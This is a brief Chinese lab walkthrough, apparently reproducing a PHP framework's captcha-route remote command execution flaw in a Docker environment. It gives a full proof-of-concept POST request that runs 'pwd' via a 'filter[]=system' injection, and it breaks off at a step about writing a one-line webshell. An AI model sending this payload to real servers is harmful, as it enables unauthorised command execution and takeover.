一、使用docker搭建环境

docker安装及搭建环境教程：https://www.freebuf.com/sectool/252257.html

访问页面     

二、漏洞利用

1、执行命令poc （复制所有代码改ip）

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.220.141:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 73

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

执行了命令pwd

2、写一句话